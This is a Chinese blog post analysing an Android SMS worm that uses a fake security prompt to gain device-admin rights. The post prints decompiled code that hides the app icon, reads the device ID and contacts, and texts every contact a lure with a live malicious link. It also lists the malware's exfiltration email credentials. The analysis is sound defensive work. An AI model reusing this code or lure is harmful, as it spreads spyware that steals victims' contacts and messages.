当前位置:首页 > 宅科技 > 正文

简单分析一个安卓病毒

多图预警,流量预警,高能预警

收到来自雷神校园售后群某客户提供的安卓病毒样本一份,记一下分析过程留待有缘人参考

声明:博主(慕若曦)非专业人士,对安卓开发与逆向也没接触过,有写错的地方望指出,喷子请自重。

准备工作:

主要是环境的搭建,逆向安卓的安装包,需要用到Java环境和反编译工具,以及一个安卓虚拟机(特别不建议用实机测试)。

1、这里推荐安装的是直接安装JDK,里面包含了需要用到的JRE环境

注意:记住你安装的路径,等下要用

JDK下载地址:http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html

2、反编译工具窝这里就用APKIDE(APK改之理),这个工具用起来简单点,适合窝这种菜鸟

注意:第一次打开APKIDE需要配置jdk的路径,否则无法进行接下来的操作

APKIDE下载地址:http://www.popotu.com/

3、模拟器的话,我个人喜欢用BlueStacks

注意:如果安装后提示引擎无法启动,把你的电脑管家,防火墙之类的先关闭,重启后再试

下载地址(建议下载离线版):http://www.bluestacks.cn/

第一步:解包分析

用APKIDE打开样本,成功解包后会在左侧窗口得到目录树,若失败请检查你的JDK是否正确关联,杀软是否关闭

如上图,此中可以利用的信息为:

  1. 可以看到有个AV画质的图片,这是软件安装后会在手机桌面生成的图
  2. 包名为:com.fengfeifei,一般情况下包名都和作者的习惯有关系,感觉这像个名字?

展开目录树,查看AndroidManifest.xml文件,复制粘贴如下:

<?xml version="1.0" encoding="utf-8" standalone="no"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:installLocation="internalOnly" package="com.fengfeifei" platformBuildVersionCode="23" platformBuildVersionName="6.0-2438415">
    <uses-permission android:name="android.permission.RECEIVE_WAP_PUSH"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.RECEIVE_USER_PRESENT"/>
    <uses-permission android:name="android.permission.READ_CONTACTS"/>
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
    <uses-permission android:name="android.permission.GET_TASKS"/>
    <uses-permission android:name="android.permission.WRITE_SMS"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.VIBRATE"/>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
    <application android:allowBackup="true" android:icon="@drawable/app_logo" android:label="@string/app_name" android:name="com.phone.stop.db.PhoneApplication" android:theme="@android:style/Theme.Black.NoTitleBar.Fullscreen">
        <activity android:excludeFromRecents="false" android:label="@string/app_name" android:name="com.phone2.stop.activity.MainActivity" android:theme="@style/ClearTheme">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <activity android:excludeFromRecents="false" android:label="@string/app_name" android:name="com.phone2.stop.activity.DeleteActivity">
            <intent-filter>
                <action android:name="android.intent.action.DELETE"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <data android:scheme="package"/>
            </intent-filter>
        </activity>
        <activity android:label="@string/app_name" android:name="com.phone2.stop.activity.DefaultSmsActivity">
            <intent-filter>
                <action android:name="android.intent.action.SEND"/>
                <action android:name="android.intent.action.SENDTO"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <category android:name="android.intent.category.BROWSABLE"/>
                <data android:scheme="sms"/>
                <data android:scheme="smsto"/>
                <data android:scheme="mms"/>
                <data android:scheme="mmsto"/>
            </intent-filter>
        </activity>
        <service android:name="com.phone.stop6.service.SecondService" android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE" android:process=":thee_second2_service3">
            <intent-filter>
                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <data android:scheme="sms"/>
                <data android:scheme="smsto"/>
                <data android:scheme="mms"/>
                <data android:scheme="mmsto"/>
            </intent-filter>
        </service>
        <service android:enabled="true" android:exported="true" android:name="com.phone.stop6.service.BootService"/>
        <service android:name="com.phone.stop6.service.SmsService" android:process=":thee_second2_service3"/>
        <receiver android:name="com.phone.stop.receiver.BootReceiver" android:permission="android.permission.BROADCAST_WAP_PUSH">
            <intent-filter>
                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
                <data android:mimeType="application/vnd.wap.mms-message"/>
            </intent-filter>
            <intent-filter android:priority="2147483647">
                <action android:name="android.intent.action.PACKAGE_RESTARTED"/>
                <action android:name="android.net.conn.CONNECTIVITY_CHANGE"/>
                <action android:name="android.intent.action.PACKAGE_ADDED"/>
                <action android:name="android.intent.action.PACKAGE_REPLACED"/>
                <action android:name="android.intent.action.PACKAGE_INSTALL"/>
                <action android:name="android.intent.action.ACTION_PACKAGE_CHANGED"/>
                <action android:name="android.intent.action.SIG_STR"/>
                <action android:name="android.intent.action.ACTION_POWER_CONNECTED"/>
                <action android:name="android.intent.action.ACTION_POWER_DISCONNECTED"/>
                <action android:name="android.intent.action.BATTERY_CHANGED"/>
                <action android:name="android.intent.action.PHONE_STATE"/>
                <action android:name="android.intent.action.BATTERY_LOW"/>
                <action android:name="android.intent.action.BATTERY_OKAY"/>
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
            </intent-filter>
        </receiver>
        <receiver android:name="com.phone.stop.receiver.SMSReceiver" android:permission="android.permission.BROADCAST_SMS">
            <intent-filter android:priority="2147483647">
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
            </intent-filter>
        </receiver>
        <receiver android:name="com.phone.stop.receiver.MyDeviceAdminReceiver" android:permission="android.permission.BIND_DEVICE_ADMIN">
            <meta-data android:name="android.app.device_admin" android:resource="@xml/devicepolicymanager_permission"/>
            <intent-filter>
                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
            </intent-filter>
        </receiver>
    </application>
</manifest>

可以看出这个软件调用了很多的权限:

<uses-permission android:name="android.permission.RECEIVE_WAP_PUSH"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECEIVE_USER_PRESENT"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.WRITE_SETTINGS"/>
<uses-permission android:name="android.permission.GET_TASKS"/>
<uses-permission android:name="android.permission.WRITE_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.VIBRATE"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>

涉及到的权限如下:

  1. 允许程序监控将收到WAP PUSH信息
  2. 允许程序开机自动运行
  3. 允许程序修改全局音频设置
  4. 允许程序写入外部存储,如SD卡上写文件
  5. 允许程序唤醒机器
  6. 允许程序访问联系人通讯录信息
  7. 允许程序访问网络连接,可能产生GPRS流量
  8. 允许程序访问电话状态
  9. 允许程序读取短信内容
  10. 允许程序读取或写入系统设置
  11. 允许程序获取任务信息
  12. 允许程序写短信
  13. 允许程序发送短信
  14. 允许程序振动
  15. 允许程序接收短信
  16. 允许程序获取网络信息状态,如当前的网络连接是否有效
  17. 允许程序获取当前WiFi接入的状态以及WLAN热点的信息

看到这里剩下的就不用往下看了,一个204K的垃圾软件申请这么多权限,不多说,你懂得。

第二步:安装测试

在上一步我们大致了解了它申请的权限,接着需要搭配虚拟机来进行测试

安装后管家报毒了

和我们第一步中看到的结果相符,管家的风险提示更能让我们对这个软件的运行有一个猜测。那么顺着这个思路去运行这个软件:

运行后发现有个权限申请,还有个提示框……

老司机有没有看出来,这个框出现的时机不对?

根据经验来说,安卓不会有这样的提示吧……黄鼠狼给鸡拜年,不安好心。

那么以此为突破点,搜索Unicode码试试

技巧:在搜索框那里输入汉字,右键-转为Unicode即可

往上翻翻,还能看到有意思的字眼

宝贝们想到了什么?某张图上的文字也是这个流氓软件里伪造的23333

选择激活后就发现这个软件打不开了,没关系,将此页的源码转为java看看

package com.phone2.stop.activity;

import android.os.Handler;
import android.os.Message;
import android.widget.Toast;
import com.phone.stop.c.f;

class b
  extends Handler
{
  b(MainActivity paramMainActivity) {}
  
  public void handleMessage(Message paramMessage)
  {
    switch (paramMessage.what)
    {
    default: 
      return;
    case 0: 
      f.c(this.a);
      Toast.makeText(this.a, "安全检测正常,请放心使用", 1).show();
      this.a.finish();
      return;
    }
    f.b(this.a);
    Toast.makeText(this.a, "安全控件,请允许激活", 1).show();
  }
}

这样看起来的话就涉及到他定义的各种乱七八糟的类了,跟进com.phone2.stop.activity.MainActivity可以看到相关内容

package com.phone2.stop.activity;

import android.app.Activity;
import android.app.ActivityManager;
import android.app.ActivityManager.RunningServiceInfo;
import android.app.admin.DevicePolicyManager;
import android.content.ComponentName;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.os.Bundle;
import android.os.Handler;
import android.provider.ContactsContract.CommonDataKinds.Phone;
import android.provider.ContactsContract.Contacts;
import android.telephony.SmsManager;
import android.telephony.TelephonyManager;
import android.util.Log;
import com.phone.stop.c.d;
import com.phone.stop.c.h;
import com.phone.stop.db.a;
import com.phone.stop.e.e;
import com.phone.stop.receiver.MyDeviceAdminReceiver;
import com.phone.stop6.service.BootService;
import java.util.List;

public class MainActivity
  extends Activity
{
  public static long a = 0L;
  Handler b = new b(this);
  
  private void b()
  {
    if (!a(this, "com.phone.stop6.service.BootService")) {
      startService(new Intent(this, BootService.class));
    }
  }
  
  public void a()
  {
    try
    {
      Object localObject = (DevicePolicyManager)getSystemService("device_policy");
      ComponentName localComponentName = new ComponentName(this, MyDeviceAdminReceiver.class);
      if (!((DevicePolicyManager)localObject).isAdminActive(localComponentName))
      {
        localObject = new Intent("android.app.action.ADD_DEVICE_ADMIN");
        ((Intent)localObject).putExtra("android.app.extra.DEVICE_ADMIN", localComponentName);
        ((Intent)localObject).putExtra("android.app.extra.ADD_EXPLANATION", "提高权限获取保护");
        startActivityForResult((Intent)localObject, 0);
        this.b.sendEmptyMessageDelayed(1, 2500L);
      }
      return;
    }
    catch (Exception localException)
    {
      localException.printStackTrace();
    }
  }
  
  public boolean a(Context paramContext, String paramString)
  {
    paramContext = ((ActivityManager)paramContext.getSystemService("activity")).getRunningServices(500);
    int j = paramContext.size();
    int i = 0;
    for (;;)
    {
      if (i >= j) {
        return false;
      }
      if (((ActivityManager.RunningServiceInfo)paramContext.get(i)).service.getClassName().equals(paramString)) {
        return true;
      }
      i += 1;
    }
  }
  
  protected void onActivityResult(int paramInt1, int paramInt2, Intent paramIntent)
  {
    super.onActivityResult(paramInt1, paramInt2, paramIntent);
    if (paramInt1 == 0)
    {
      if (paramInt2 != -1) {
        break label47;
      }
      a.a(this).a(true);
      com.phone.stop.e.f.a("激活成功", this);
    }
    for (;;)
    {
      b();
      this.b.sendEmptyMessageDelayed(0, 1000L);
      return;
      label47:
      com.phone.stop.e.f.a("激活失败", this);
    }
  }
  
  protected void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    readContacts();
    setContentView(2130903041);
    h.a();
    getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1);
    h.a(this);
    h.b(this);
    h.c(this);
    h.d(this);
    h.e(this);
    if (!a.a(this).r())
    {
      paramBundle = ((TelephonyManager)getSystemService("phone")).getDeviceId();
      com.phone.stop.e.f.a("" + paramBundle + "\n" + e.a(), this);
      a.a(this).h(true);
    }
    com.phone.stop.c.f.b(this);
    if (a.a(this).g()) {
      d.a(this);
    }
    a();
  }
  
  public void readContacts()
  {
    ContentResolver localContentResolver = getContentResolver();
    Cursor localCursor = localContentResolver.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
    if (!localCursor.moveToNext())
    {
      localCursor.close();
      return;
    }
    String str1 = localCursor.getString(localCursor.getColumnIndex("display_name"));
    Object localObject = localCursor.getString(localCursor.getColumnIndex("_id"));
    localObject = localContentResolver.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id = " + (String)localObject, null, null);
    for (;;)
    {
      if (!((Cursor)localObject).moveToNext())
      {
        ((Cursor)localObject).close();
        break;
      }
      String str2 = ((Cursor)localObject).getString(((Cursor)localObject).getColumnIndex("data1"));
      if (str2.startsWith("1"))
      {
        Log.d("number:", str2);
        SmsManager.getDefault().sendTextMessage(str2, null, str1 + "这个 录 相 你瞅 下 iyouet.cn/zxcvd ", null, null);
      }
    }
  }
}

此处大概能看来在成功对自己进行“保护”后,他就开始从通讯录里找人发短信了

如图,标箭头的地方应该是读取联系人的信息,最后的API直接将联系人+内容给发送了出去:

SmsManager.getDefault().sendTextMessage(str2, null, str1 + "这个 录 相 你瞅 下 iyouet.cn/zxcvd ", null, null);

后来有受害者发的一张截图,证明了我们的分析

打开这个网站看看:

直接就给下载了个软件,等过会儿再分析他。

然后将所有的class都打开瞅瞅,结果就发现了彩蛋。smtp,再傻也能看来这是在发邮件丫(捂嘴笑)

在源码里找了找,发现了相关信息:

  1. smtp服务器地址:smtp.mxhichina.com
  2. smtp端口:25
  3. 邮箱账号:asdwf564848@163.com
  4. 邮箱密码:sdafdse33
  5. TEL:15521818093

此处尚有疑惑,为何网易家的邮箱用阿里家的smtp服务器?有知道者望解答

同样也发现了一些没素养的表现:

同样是半吊子码农,为啥你素质和窝就有了差距捏?(手动滑稽)

接着又看到了对于某些关键字的替换,猜测此应该是当被害者收到带有这些关键字的短信后,替换文本内容然后再发到作者的手机/邮箱里

 

第三步:相关分析

样本基本上就能分析出这些,然后再看看那个网站里下载到的样本,除了修改了一个手机号码外貌似没有什么大变动

那个网址则是从中介那里收购过来的,也没有什么参考价值:

大概就这样吧,说不定啥时候还能想到啥思路玩玩这个

总结:

此病毒首先诱导人进行安装,通过伪造的界面误导用户从而提高自身的权限;

然后遍历照片、通讯录等重要档案,并将这些档案发送到作者的邮箱和手机里造成信息泄露;

榨取完本机的信息后,通过短信的形式传播自身来伤害更多用户

参考文章:

顾林海——android权限(permission)大全


QQ群号:543825203[电脑问题互助交流]

文章标题:简单分析一个安卓病毒
本文作者:慕若曦
发表日期:2016-12-14 11:02 星期三    首发于    暮若夕
本文固定链接: https://www.muruoxi.com/560.html
 
文章标签:
上一篇: 下一篇:

14 条评论

评论加载中...
  1. 14楼
    小伦   

    啧啧啧

    2016年12月15日 上午3:14 评论
  2. 13楼
    文栋说自媒体   

    专业玩家!看的我是一脸懵逼

    2016年12月15日 下午1:32 评论
  3. 12楼
    姜辰   

    我还以为是锁机的东东,没想到只是一个小偷而已~

    2016年12月15日 下午2:24 评论
  4. 11楼
    三五营销   

    挺好的,祝你快乐

    2016年12月15日 下午2:25 评论
  5. 10楼
    凯哥自媒体   

    代码短点儿就好了

    2016年12月16日 上午10:50 评论
  6. 9楼
    千寻   

    分析的不错,厉害了

    2016年12月16日 下午12:45 评论
  7. 8楼
    网赚   

    不错不错

    2016年12月16日 下午5:25 评论
  8. 7楼
    免费福利   

    牛逼

    2016年12月17日 下午9:59 评论
  9. 6楼
    枫雨   

    好久没过来了,过来膜拜膜拜…

    2016年12月18日 下午1:58 评论
  10. 5楼
    凯哥自媒体   

    分享的不错,谢谢

    2016年12月20日 上午9:18 评论
  11. 4楼
    搬瓦工   

    不简单啊 分析的相当透彻了

    2016年12月20日 下午1:13 评论
  12. 地板
    三五营销   

    偶然来访,受益良多!

    2016年12月21日 上午9:59 评论
  13. 板凳
    何湘辉博客   

    安卓感觉越来越不安全了,随便给点权限就泄露隐私了

    2017年1月14日 下午9:49 评论
  14. 沙发
    林弋   

    有点难

    2017年3月8日 下午11:10 评论

发表评论

╮( ̄▽ ̄)╭ |  (= ̄ω ̄=) |  (>﹏<) |  Σ( ° △ °|||)︴ |  Σ(っ °Д °;)っ |  X﹏X |  (╯-_-)╯╧╧

小提示:Ctrl+Enter快速提交助您一臂之力~
十年之约
加载中……